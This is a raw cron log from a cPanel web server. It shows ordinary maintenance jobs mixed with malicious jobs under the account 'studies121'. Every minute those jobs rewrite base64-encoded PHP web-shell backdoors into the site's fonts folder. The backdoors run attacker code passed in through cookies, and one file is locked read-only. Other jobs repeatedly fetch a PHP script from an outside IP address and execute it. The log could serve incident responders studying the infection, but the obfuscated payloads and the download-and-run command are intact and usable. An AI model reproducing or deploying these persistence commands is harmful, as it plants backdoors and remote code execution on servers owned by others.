Sep  6 01:30:01 ip-184-168-122-23 CROND[23762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:30:01 ip-184-168-122-23 CROND[23761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:30:01 ip-184-168-122-23 CROND[23763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:30:01 ip-184-168-122-23 CROND[23764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:30:01 ip-184-168-122-23 CROND[23760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:30:01 ip-184-168-122-23 CROND[23759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:30:01 ip-184-168-122-23 CROND[23765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:31:01 ip-184-168-122-23 CROND[23859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:31:01 ip-184-168-122-23 CROND[23861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:31:01 ip-184-168-122-23 CROND[23860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:31:01 ip-184-168-122-23 CROND[23858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:31:01 ip-184-168-122-23 CROND[23862]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:32:01 ip-184-168-122-23 CROND[23943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:32:01 ip-184-168-122-23 CROND[23944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:32:01 ip-184-168-122-23 CROND[23941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:32:01 ip-184-168-122-23 CROND[23942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:32:01 ip-184-168-122-23 CROND[23946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:33:01 ip-184-168-122-23 CROND[24031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:33:01 ip-184-168-122-23 CROND[24029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:33:01 ip-184-168-122-23 CROND[24032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:33:01 ip-184-168-122-23 CROND[24030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:34:01 ip-184-168-122-23 CROND[24203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:34:01 ip-184-168-122-23 CROND[24206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:34:01 ip-184-168-122-23 CROND[24205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:34:01 ip-184-168-122-23 CROND[24207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:34:01 ip-184-168-122-23 CROND[24208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:35:01 ip-184-168-122-23 CROND[24298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24302]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24304]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 01:35:01 ip-184-168-122-23 CROND[24306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:35:01 ip-184-168-122-23 CROND[24305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:36:01 ip-184-168-122-23 CROND[24407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:36:01 ip-184-168-122-23 CROND[24408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:36:01 ip-184-168-122-23 CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:36:01 ip-184-168-122-23 CROND[24409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:36:01 ip-184-168-122-23 CROND[24411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:37:02 ip-184-168-122-23 CROND[24496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:37:02 ip-184-168-122-23 CROND[24497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:37:02 ip-184-168-122-23 CROND[24498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:37:02 ip-184-168-122-23 CROND[24499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:38:01 ip-184-168-122-23 CROND[24571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:38:01 ip-184-168-122-23 CROND[24576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:38:01 ip-184-168-122-23 CROND[24575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:38:01 ip-184-168-122-23 CROND[24573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:38:01 ip-184-168-122-23 CROND[24574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:39:02 ip-184-168-122-23 CROND[24733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:39:02 ip-184-168-122-23 CROND[24737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:39:02 ip-184-168-122-23 CROND[24735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:39:02 ip-184-168-122-23 CROND[24736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:39:02 ip-184-168-122-23 CROND[24734]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:40:01 ip-184-168-122-23 CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:40:01 ip-184-168-122-23 CROND[24834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:40:01 ip-184-168-122-23 CROND[24841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:41:01 ip-184-168-122-23 CROND[24930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:41:01 ip-184-168-122-23 CROND[24929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:41:01 ip-184-168-122-23 CROND[24932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:41:01 ip-184-168-122-23 CROND[24931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:42:01 ip-184-168-122-23 CROND[25006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:42:01 ip-184-168-122-23 CROND[25009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
